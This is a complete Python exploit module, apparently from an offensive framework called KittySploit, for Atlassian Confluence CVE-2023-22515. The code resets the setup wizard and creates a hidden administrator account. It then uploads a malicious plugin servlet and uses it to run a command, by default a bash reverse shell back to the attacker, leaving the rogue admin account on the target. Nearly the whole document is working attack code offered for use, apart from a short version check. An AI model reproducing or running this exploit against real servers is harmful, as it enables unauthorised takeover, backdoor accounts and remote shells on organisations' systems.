Atlassian Confluence Setup Bypass RCE (CVE-2023-22515)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Atlassian Confluence setup reset + admin creation + plugin RCE (CVE-2023-22515)."""

from __future__ import annotations

import base64
import io
import json
import re
import time
import zipfile

from kittysploit import *
from core.utils.paths import data_resource
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Atlassian Confluence Setup Bypass RCE (CVE-2023-22515)',
        'description': (
            'Exploits CVE-2023-22515 to reset setupComplete, create an administrator '
            'account, upload a malicious Confluence plugin servlet, and execute a '
            'reverse CMD payload. Affects Confluence 8.0.0–8.5.1.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2023-22515'],
        'platform': Platform.MULTI,
        'arch': [Arch.X86, Arch.X64],
        'category': PayloadCategory.CMD,
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
            'category': PayloadCategory.CMD,
        },
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2023-22515',
            'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html',
        ],
        'tags': [
            'confluence', 'atlassian', 'auth-bypass', 'plugin', 'rce', 'unauth',
            'kev', 'cve-2023-22515',
        ],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution', 'config_change'],
            'expected_requests': 10,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce', 'credentials'],
            'requires': {
                'tech_hints_any': ['confluence'],
                'endpoint_pattern_any': ['/server-info.action'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'admin_account', 'from_detail': 'setup wizard'},
                    {'capability': 'rce', 'from_detail': 'malicious plugin servlet'},
                    {'capability': 'shell', 'from_detail': 'reverse CMD session'},
                ],
                'suggested_followups': ['scanner/http/confluence_cve_2023_22515_detect'],
            },
        },
    }

    port = OptPort(8090, 'Confluence HTTP port', True)
    ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
    target_endpoint = OptString(
        'server-info.action',
        'Endpoint used to toggle setupComplete',
        False,
        advanced=True,
    )
    plugin_timeout = OptInteger(
        30,
        'Seconds to wait for plugin installation',
        False,
        advanced=True,
    )
    cleanup_plugin = OptBool(True, 'Remove uploaded plugin after exploit', False, advanced=True)

    _SERVLET_CLASS = 'ks.confluence.CommandServlet'
    _CLASS_RESOURCE = (
        'exploits', 'CVE-2023-22515', 'prebuilt', 'ks', 'confluence', 'CommandServlet.class'
    )

    def _api(self, *parts: str) -> str:
        base = (self.path or '/').rstrip('/')
        suffix = '/'.join(p.strip('/') for p in parts if p)
        return f'{base}/{suffix}' if base else f'/{suffix}'

    def _atlassian_headers(self) -> dict:
        return {'X-Atlassian-Token': 'no-check'}

    def _basic_auth(self, username: str, password: str) -> str:
        token = base64.b64encode(f'{username}:{password}'.encode()).decode()
        return f'Basic {token}'

    def _parse_version(self, body: str) -> tuple[int, int, int] | None:
        patterns = (
            r'ajs-version-number" content="(\d+)\.(\d+)\.(\d+)"',
            r'Printed by Atlassian Confluence (\d+)\.(\d+)\.(\d+)',
            r"<span id='footer-build-information'>(\d+)\.(\d+)\.(\d+)</span>",
        )
        for pattern in patterns:
            match = re.search(pattern, body, re.I)
            if match:
                return int(match.group(1)), int(match.group(2)), int(match.group(3))
        return None

    def _version_vulnerable(self, major: int, minor: int, patch: int) -> bool:
        ver = (major, minor, patch)
        ranges = (
            ((8, 0, 0), (8, 3, 2)),
            ((8, 4, 0), (8, 4, 2)),
            ((8, 5, 0), (8, 5, 1)),
        )
        for low, high in ranges:
            if low <= ver <= high:
                return True
        return False

    def _reset_setup(self) -> bool:
        endpoint = self._api(str(self.target_endpoint or 'server-info.action'))
        r = self.http_request(
            method='POST',
            path=endpoint,
            data={'bootstrapStatusProvider.applicationConfig.setupComplete': 'false'},
            allow_redirects=False,
        )
        return bool(r and int(r.status_code or 0) in (200, 302))

    def _create_admin(self) -> tuple[str, str] | None:
        username = self.random_text(8).lower()
        password = self.random_text(12)
        email_local = self.random_text(8).lower()
        email_domain = self.random_text(6).lower()
        r = self.http_request(
            method='POST',
            path=self._api('setup', 'setupadministrator.action'),
            headers=self._atlassian_headers(),
            data={
                'username': username,
                'fullName': self.random_text(10),
                'email': f'{email_local}@{email_domain}.local',
                'password': password,
                'confirm': password,
                'setup-next-button': 'Next',
            },
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) not in (200, 302):
            return None
        return username, password

    def _finish_setup(self) -> bool:
        r = self.http_request(
            method='POST',
            path=self._api('setup', 'finishsetup.action'),
            headers=self._atlassian_headers(),
            allow_redirects=False,
        )
        return bool(r and int(r.status_code or 0) == 200)

    def _load_servlet_class(self) -> bytes:
        return data_resource(*self._CLASS_RESOURCE).read_bytes()

    def _build_plugin_jar(self, plugin_key: str, servlet_path: str) -> bytes:
        servlet_bytes = self._load_servlet_class()
        plugin_xml = f'''<?xml version="1.0" encoding="UTF-8"?>
<atlassian-plugin name="{self.random_text(8)}" key="{plugin_key}" plugins-version="2">
  <plugin-info>
    <description>{self.random_text(12)}</description>
    <version>1.{int(time.time()) % 1000}</version>
  </plugin-info>
  <servlet key="{self.random_text(8)}" class="{self._SERVLET_CLASS}">
    <url-pattern>{servlet_path}</url-pattern>
  </servlet>
</atlassian-plugin>
'''
        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
            zf.writestr('atlassian-plugin.xml', plugin_xml)
            zf.writestr('ks/confluence/CommandServlet.class', servlet_bytes)
        return buf.getvalue()

    def _get_upm_token(self, username: str, password: str) -> str | None:
        r = self.http_request(
            method='GET',
            path=self._api('rest', 'plugins', '1.0') + '/',
            headers={
                'Authorization': self._basic_auth(username, password),
                'Accept': '*/*',
            },
            params={'os_authType': 'basic'},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 200:
            return None
        return r.headers.get('upm-token') or r.headers.get('UPM-Token')

    def _upload_plugin(
        self, username: str, password: str, upm_token: str, jar_bytes: bytes,
    ) -> str | None:
        filename = f'{self.random_text(8)}.jar'
        r = self.http_request(
            method='POST',
            path=self._api('rest', 'plugins', '1.0') + '/',
            headers={
                'Authorization': self._basic_auth(username, password),
                'Accept': '*/*',
            },
            params={'token': upm_token},
            files={'plugin': (filename, jar_bytes, 'application/octet-stream')},
            allow_redirects=False,
        )
        if not r or int(r.status_code or 0) != 202:
            return None
        body = r.text or ''
        match = re.search(r'<textarea>(.+)</textarea>', body, re.S)
        if not match:
            return None
        try:
            payload = json.loads(match.group(1))
        except json.JSONDecodeError:
            return None
        links = payload.get('links') or {}
        return links.get('alternate')

    def _wait_plugin(self, task_path: str, username: str, password: str) -> bool:
        deadline = time.monotonic() + max(int(self.plugin_timeout or 30), 5)
        auth = {'Authorization': self._basic_auth(username, password)}
        while time.monotonic() < deadline:
            r = self.http_request(
                method='GET',
                path=task_path if task_path.startswith('/') else f'/{task_path}',
                headers=auth,
                allow_redirects=False,
            )
            if r and int(r.status_code or 0) == 200:
                try:
                    if json.loads(r.text or '').get('done'):
                        return True
                except json.JSONDecodeError:
                    pass
            time.sleep(1)
        return False

    def _trigger_plugin(self, servlet_path: str, command: str) -> bool:
        encoded = base64.b64encode(command.encode()).decode()
        r = self.http_request(
            method='GET',
            path=self._api('plugins', 'servlet', servlet_path.lstrip('/')),
            params={'cmd': encoded},
            allow_redirects=False,
        )
        return bool(r and int(r.status_code or 0) == 200)

    def _delete_plugin(self, plugin_key: str, username: str, password: str) -> None:
        self.http_request(
            method='DELETE',
            path=self._api('rest', 'plugins', '1.0', f'{plugin_key}-key'),
            headers={'Authorization': self._basic_auth(username, password)},
            allow_redirects=False,
        )

    def check(self):
        r = self.http_request(
            method='GET',
            path=self._api(str(self.target_endpoint or 'server-info.action')),
            allow_redirects=False,
        )
        if not r:
            return {'vulnerable': False, 'reason': 'No response', 'confidence': 'low'}
        if 'X-Confluence-Request-Time' not in r.headers:
            return {'vulnerable': False, 'reason': 'Not Confluence', 'confidence': 'medium'}
        version = self._parse_version(r.text or '')
        if version and self._version_vulnerable(*version):
            return {
                'vulnerable': True,
                'reason': f'Confluence {version[0]}.{version[1]}.{version[2]} in affected range',
                'confidence': 'high',
            }
        if version:
            return {
                'vulnerable': False,
                'reason': f'Confluence {version[0]}.{version[1]}.{version[2]} appears patched',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Confluence detected but version unknown',
            'confidence': 'low',
        }

    def run(self):
        payload_cmd = str(self.payload or '').strip()
        if not payload_cmd:
            print_error('Set a reverse CMD payload')
            return False

        print_status('CVE-2023-22515 — Confluence setup bypass + plugin RCE')
        if not self._reset_setup():
            print_error('Failed to reset setupComplete')
            self.not_vulnerable()
            return False

        creds = self._create_admin()
        if not creds:
            print_error('Administrator account creation failed')
            self.not_vulnerable()
            return False
        username, password = creds
        print_success(f'Administrator created: {username}:{password}')

        if not self._finish_setup():
            print_warning('finishsetup.action did not return 200 — continuing')

        upm_token = self._get_upm_token(username, password)
        if not upm_token:
            print_error('Failed to obtain UPM token')
            return False

        plugin_key = self.random_text(8).lower()
        servlet_path = self.random_text(8).lower()
        jar_bytes = self._build_plugin_jar(plugin_key, f'/{servlet_path}')
        task_path = self._upload_plugin(username, password, upm_token, jar_bytes)
        if not task_path:
            print_error('Plugin upload failed')
            return False

        print_status('Waiting for plugin installation...')
        if not self._wait_plugin(task_path, username, password):
            print_error('Plugin installation timed out')
            return False

        print_status('Triggering payload via uploaded servlet...')
        if not self._trigger_plugin(servlet_path, payload_cmd):
            print_error('Servlet trigger failed')
            return False

        if bool(self.cleanup_plugin):
            self._delete_plugin(plugin_key, username, password)
            print_info('Uploaded plugin removed')

        print_success('Payload dispatched — check listener for session')
        print_warning(f'Admin account {username} remains on target (cannot self-delete)')
        self.vulnerable()
        return True